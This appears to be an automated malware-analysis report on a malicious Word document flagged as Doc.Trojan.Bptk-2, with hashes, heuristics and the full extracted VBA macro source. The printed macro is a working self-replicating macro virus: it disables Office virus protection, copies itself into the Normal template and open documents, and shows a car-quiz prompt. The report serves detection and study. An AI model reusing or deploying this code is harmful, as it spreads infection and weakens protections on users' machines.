Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c8a1045c6a3638c…

MALICIOUS

Office (OLE)

42.5 KB Created: 2014-07-22 05:08:00 Authoring application: Microsoft Office Word First seen: 2014-07-31
MD5: 3ae2c6700e00141643f0f199b08234aa SHA-1: f223abb341ceb88bb4b238fbb15ed97a5478d527 SHA-256: 6c8a1045c6a3638c8b1c306157ced02f7a7c3dee730a5abb0e41099f02e5907b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample is a Microsoft Office document containing VBA macros. The macros are designed to disable macro protection and replicate themselves to the Normal template, as indicated by the 'VBA macro-virus self-replication / AV tampering' heuristic. The presence of the 'Document_Open' macro suggests an attempt to execute malicious code upon opening the document. The specific strings like '长安公司汽研所 常识课' are used within the macro code, potentially as identifiers or obfuscation.

Heuristics 4

  • ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bptk-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3283 bytes
SHA-256: 67796af2fd7c33220c14b683e772473575f62a3c851d1fd1f5d0926426d438ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Dim DI As Boolean, TI As Boolean, d As Object, t As Object, Src As String, r As String


Private Sub Document_Close()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    Src = d.CodeModule.Lines(1, d.CodeModule.CountOfLines)
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    t.CodeModule.AddFromString Src
    NormalTemplate.Save
    
  ElseIf TI And Not (DI) Then
If Day(Now()) = 1 Then
 Do
 r = UCase(InputBox("长安之星车长多少米?" & Chr(13) & Chr(13) _
 & "A.3米4  B.3米5  C.3米55  D.3米7" & Chr(13) & Chr(13) _
 & "要好好思考哟!", "紧急提问"))
 Loop Until r <> ""
 If r = "B" Then
   MsgBox "好棒哟!"
   GoTo 10
 Else
   MsgBox "唉!再给你一次机会."
    Do
     r = UCase(InputBox("长安之星FBA是什么型?" & Chr(13) & Chr(13) _
     & "A.标准型  B.普通型  C.豪华型" & Chr(13) & Chr(13) _
     & "想好了再回答!", "紧急提问"))
    Loop Until r <> ""
      If r = "C" Then
        MsgBox "谢谢你的支持!"
        GoTo 10
      Else
        MsgBox "笨蛋!给你最后一次机会."
          Do
           r = UCase(InputBox("安全气囊是干什么用的?" & Chr(13) & Chr(13) _
           & "A.防止撞车  B.防止侧滑  C.撞车时保护驾驶员" & Chr(13) & Chr(13) _
           & "这是最后一次机会哟!", "紧急提问"))
          Loop Until r <> ""
           If r = "C" Then
             MsgBox "总算答对了!"
             GoTo 10
           Else
             MsgBox "看来你还需要对长安之星多加了解..."
             ActiveDocument.SaveAs "c:\lzc.vxd"
             ActiveDocument.Close
             Exit Sub
           End If
      End If
 End If
End If
10:
    Src = t.CodeModule.Lines(1, t.CodeModule.CountOfLines)
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
    d.CodeModule.AddFromString Src
    ActiveDocument.Save
      
  End If


End Sub

Private Sub Document_Open()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    
  ElseIf TI And Not (DI) Then
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
      
  End If
  
End Sub

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